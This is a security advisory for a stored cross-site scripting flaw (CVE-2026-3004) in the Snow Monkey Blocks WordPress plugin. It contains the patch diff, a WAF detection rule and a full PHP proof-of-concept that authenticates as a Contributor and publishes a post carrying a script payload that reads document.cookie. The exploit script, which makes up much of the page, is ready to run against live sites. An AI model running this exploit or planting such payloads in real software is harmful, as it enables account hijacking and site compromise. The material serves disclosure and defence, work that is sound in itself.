CVE-2026-3004: Snow Monkey Blocks <= 24.1.11 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'data-slick' Attribute (snow-monkey-blocks)

--- a/snow-monkey-blocks/dist/blocks/box/index.asset.php
+++ b/snow-monkey-blocks/dist/blocks/box/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-keycodes', 'wp-primitives', 'wp-url'), 'version' => '36fd339945dbd8688238');
+<?php return array('dependencies' => array('lodash', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-keycodes', 'wp-primitives', 'wp-url'), 'version' => 'e742c662480aaebdad12');
--- a/snow-monkey-blocks/dist/blocks/hero-header/index.asset.php
+++ b/snow-monkey-blocks/dist/blocks/hero-header/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '91978dca967bbc738a96');
+<?php return array('dependencies' => array('lodash', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'a87ebcc4ec826cdc3f34');
--- a/snow-monkey-blocks/snow-monkey-blocks.php
+++ b/snow-monkey-blocks/snow-monkey-blocks.php
@@ -1,7 +1,7 @@
 <?php
 /**
  * Plugin name: Snow Monkey Blocks
- * Version: 24.1.11
+ * Version: 24.1.12
  * Description: Gutenberg blocks collection made by MonkeyWrench.
  * Author: inc2734
  * Author URI: https://2inc.org
@@ -42,7 +42,6 @@
 		add_filter( 'block_categories_all', array( $this, '_block_categories_all' ) );
 		add_action( 'init', array( $this, '_register_blocks' ) );
 		add_action( 'add_meta_boxes', array( $this, '_add_pr_meta_box' ) );
-		add_filter( 'the_content', array( $this, '_the_content_for_slider' ), 11 );
 	}

 	/**
@@ -218,25 +217,6 @@
 		</p>
 		<?php
 	}
-
-	/**
-	 * Because the data attribute is destroyed by the influence of wptexturize, it corrects it.
-	 *
-	 * @param string $content The post content.
-	 * @return string
-	 */
-	public function _the_content_for_slider( $content ) {
-		$content = preg_replace_callback(
-			'|data-slick="{([^}]+?)}"|',
-			function ( $matches ) {
-				$matches[0] = str_replace( '"', ''', $matches[0] );
-				$matches[0] = str_replace( '"', '"', $matches[0] );
-				return $matches[0];
-			},
-			$content
-		);
-		return $content;
-	}
 }

 require_once __DIR__ . '/vendor/autoload.php';

# Atomic Edge WAF Rule - CVE-2026-3004
# Target: Snow Monkey Blocks stored XSS via data-slick attribute
# This matches AJAX-based block editor requests containing malicious dataSlick payloads

SecRule REQUEST_URI "@contains /wp-json/wp/v2/posts" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-3004 Snow Monkey Blocks XSS via dataSlick',severity:'CRITICAL',tag:'CVE-2026-3004',tag:'WordPress',tag:'XSS'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS:content "@rx <script[^>]*>.*data-slick" "t:none,t:urlDecodeUni"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3004 - Snow Monkey Blocks <= 24.1.11 - Authenticated (Contributor+) Stored XSS via 'data-slick' Attribute

// Configuration - Set these variables
$target_url = 'http://example.com';  // WordPress site URL
$username = 'contributor';           // WordPress username with Contributor role
$password = 'password';              // Password for the user

// Step 1: Authenticate and get cookies
$ch = curl_init($target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$login_response = curl_exec($ch);
curl_close($ch);

// Step 2: Get WordPress nonce for post creation
$ch = curl_init($target_url . '/wp-admin/post-new.php?post_type=post');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$new_post_page = curl_exec($ch);
curl_close($ch);

// Extract wp_rest nonce
preg_match('/"restNonce":"([^"]+)"/', $new_post_page, $matches);
$rest_nonce = $matches[1] ?? '';

// Extract API URL base
preg_match('/"root":"([^"]+)"/', $new_post_page, $matches);
$api_root = $matches[1] ?? $target_url . '/wp-json/';

// Step 3: Craft a post with malicious snow-monkey-blocks/box block containing XSS in data-slick
// The payload uses a broken data-slick attribute that will be processed by the vulnerable filter
$xss_payload = '{"foo":"bar\"><script>alert(document.cookie)</script>"}';

$block = [
    'slug' => 'snow-monkey-blocks/box',
    'attributes' => [
        'dataSlick' => $xss_payload,  // This will become data-slick attribute
        'content' => 'Test'
    ]
];

$post_data = [
    'title' => 'Atomic Edge XSS Test',
    'content' => '<!-- wp:snow-monkey-blocks/box {"dataSlick":"' . $xss_payload . '" -->n<div class="smb-box" data-slick="' . $xss_payload . '">Test</div>n<!-- /wp:snow-monkey-blocks/box -->',
    'status' => 'publish'
];

$ch = curl_init($api_root . 'wp/v2/posts');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$post_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 201) {
    $post_data = json_decode($post_response, true);
    echo '[+] Exploit successful! Post ID: ' . $post_data['id'] . PHP_EOL;
    echo '[+] View the post: ' . $post_data['link'] . PHP_EOL;
    echo '[+] The XSS payload will execute when the page loads.' . PHP_EOL;
} else {
    echo '[-] Failed to create post. HTTP status: ' . $http_code . PHP_EOL;
    echo '[-] Response: ' . $post_response . PHP_EOL;
}

// Clean up cookie file
unlink('/tmp/cookies.txt');